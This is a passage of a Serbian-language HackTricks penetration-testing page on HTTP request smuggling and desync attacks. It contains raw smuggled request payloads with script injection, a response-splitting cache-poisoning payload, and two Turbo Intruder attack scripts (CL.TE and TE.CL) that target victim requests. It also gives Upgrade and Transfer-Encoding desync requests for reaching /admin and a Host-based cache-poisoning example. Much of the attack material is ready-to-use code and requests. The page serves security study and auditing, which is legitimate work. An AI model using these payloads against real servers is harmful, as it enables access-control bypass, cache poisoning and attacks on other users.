TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
Primer za to kako zloupotrebiti ovakvo ponašanje bio bi da se prvo smuva HEAD request. Na ovaj request će biti vraćeni samo headers GET request-a (Content-Type među njima). Zatim se odmah posle HEAD-a smuva TRACE request, koji će reflektovati poslati data.
Pošto će HEAD response sadržati Content-Length header, response od TRACE request-a će se tretirati kao body HEAD response-a, pa će se tako reflektovati proizvoljni podaci u response-u.
Ovaj response će biti poslat sledećem request-u preko konekcije, tako da bi ovo, na primer, moglo da se iskoristi u cache-ovanom JS fajlu za injektovanje proizvoljnog JS koda.
Zloupotreba TRACE preko HTTP Response Splitting
Nastavljajući dalje sa ovim postom, predlaže se još jedan način za zloupotrebu TRACE method. Kao što je komentarisano, smuvanjem HEAD request-a i TRACE request-a moguće je kontrolisati neke reflektovane podatke u response-u na HEAD request. Dužina body-ja HEAD request-a je praktično naznačena u Content-Length header-u i formirana je od response-a TRACE request-a.
Dakle, nova ideja bi bila da se, znajući ovaj Content-Length i podatke dati u TRACE response-u, omogući da TRACE response sadrži validan HTTP response nakon poslednjeg bita Content-Length-a, čime napadač može potpuno da kontroliše request ka sledećem response-u (što bi moglo da se iskoristi za cache poisoning).
Primer:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
Will generate these responses (primetite kako HEAD response ima Content-Length, zbog čega je TRACE response deo HEAD body-ja i kada HEAD Content-Length istekne, smuggled je validan HTTP response):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation
Da li ste pronašli neku HTTP Request Smuggling ranjivost i ne znate kako da je iskoristite. Pokušajte ove druge metode exploatacije:
HTTP Response Smuggling / Desync
Other HTTP Request Smuggling Techniques
- Browser HTTP Request Smuggling (Client Side)
Browser HTTP Request Smuggling
- Request Smuggling in HTTP/2 Downgrades
Request Smuggling in HTTP/2 Downgrades
Turbo intruder scripts
CL.TE
Sa https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
Od: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Reverse-proxy parsing footguns (Pingora 2026)
Nekoliko Pingora bagova iz 2026. je korisno jer pokazuju desync primitivе van klasičnog CL.TE / TE.CL. Ponovno upotrebljiva lekcija je: kad god proxy prebrzo prestane da parsira, normalizuje Transfer-Encoding drugačije od backend-a, ili pređe na read-until-close za request body, može doći do FE↔BE desync čak i bez tradicionalne CL/TE nejasnoće.
Preuranjeni Upgrade passthrough
Ako reverse proxy pređe u raw tunnel / passthrough mode čim vidi Upgrade header, bez čekanja da backend potvrdi prelazak sa 101 Switching Protocols, možeš da smugglaš drugi request u istom TCP stream-u:
GET / HTTP/1.1
Host: target.com
Upgrade: anything
Content-Length: 0
GET /admin HTTP/1.1
Host: target.com
Front-end parsira samo prvi request, zatim prosleđuje ostatak kao sirove bajtove. Backend parsira pripojene bajtove kao novi request sa trusted IP adrese proxy-ja. Ovo je posebno korisno za:
- Zaobilaženje proxy ACLs, WAF pravila, auth provera i rate limits.
- Dostup do internal-only endpointa koji veruju reverse proxy IP adresi.
- Pokretanje cross-user response queue poisoning na reused backend konekcijama.
Kada radiš audit proxy-ja, uvek testiraj da li bilo koja Upgrade vrednost pokreće passthrough, i proveri da li se prebacivanje dešava pre ili posle toga što backend odgovori sa 101.
Transfer-Encoding normalizacija bugovi + HTTP/1.0 close-delimited fallback
Još jedan koristan obrazac je:
- Proxy vidi da je
Transfer-Encodingprisutan, pa uklanjaContent-Length. - Proxy ne uspeva da pravilno normalizuje TE.
- Proxy sada nema prepoznat framing i vraća se na close-delimited request bodies za HTTP/1.0.
- Backend pravilno razume TE i tretira bajtove posle
0\r\n\r\nkao novi request.
Uobičajeni načini da se ovo pokrene:
- Comma-separated TE list nije parsiran:
GET / HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity, chunked
Content-Length: 29
0
GET /admin HTTP/1.1
X:
- Duplikovani TE headeri se ne spajaju:
POST /legit HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
X:
Važni audit checkovi su:
- Da li front-end parsira poslednji TE token, kao što je potrebno kada je
chunkedposlednji? - Da li koristi sve
Transfer-Encodingheadere umesto samo prvog? - Možeš li da nateraš HTTP/1.0 da pokrene body mode čitanja do zatvaranja konekcije?
- Da li proxy ikada dozvoljava close-delimited request bodies? To je samo po sebi signal visoke vrednosti za desync.
Ova klasa često spolja izgleda kao CL.TE, ali stvarni primitive je: TE present –> CL stripped –> no valid framing recognized –> request body forwarded until close.
Related cache poisoning primitive: path-only cache keys
Ista Pingora audit je takođe otkrila opasan reverse-proxy cache anti-pattern: izvlačenje cache key-a samo iz URI path-a, uz ignorisanje Host, scheme, ili porta. U multi-tenant ili multi-vhost deployment-ima, različiti hostovi tada mogu da se sudare na istom cache entry-ju:
GET /api/data HTTP/1.1
Host: evil.com
GET /api/data HTTP/1.1
Host: victim.com
Ako oba zahteva mapiraju na isti cache key (/api/data), jedan tenant može da poison-uje sadržaj za drugog. Ako origin reflektuje Host header u redirectima, CORS-u, HTML-u ili URL-ovima skripti, niskovredna Host refleksija može da postane cross-user stored cache poisoning.
Kada proveravaš caches, potvrdi da key uključuje bar:
Host/ virtual host identity- scheme (
httpvshttps) kada se ponašanje razlikuje - port kada više aplikacija deli isti cache namespace
Tools
- HTTP Hacker (Burp BApp Store) – vizualizuje concatenation/framing i low‑level HTTP ponašanje
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action “Smuggling or pipelining?”
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Ovaj alat je HTTP Fuzzer zasnovan na gramatici, koristan za pronalaženje neobičnih request smuggling odstupanja.
References
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
- Beware the false false‑positive: how to distinguish HTTP pipelining from request smuggling – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
- https://http1mustdie.com/
- Browser‑Powered Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
- https://portswigger.net/research/http1-must-die
- https://xclow3n.github.io/post/6/
- https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv
- https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7
- https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc
Tip
Nauči i vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).
Podrži HackTricks
- Pogledaj pretplatničke planove!
- Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
- Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.


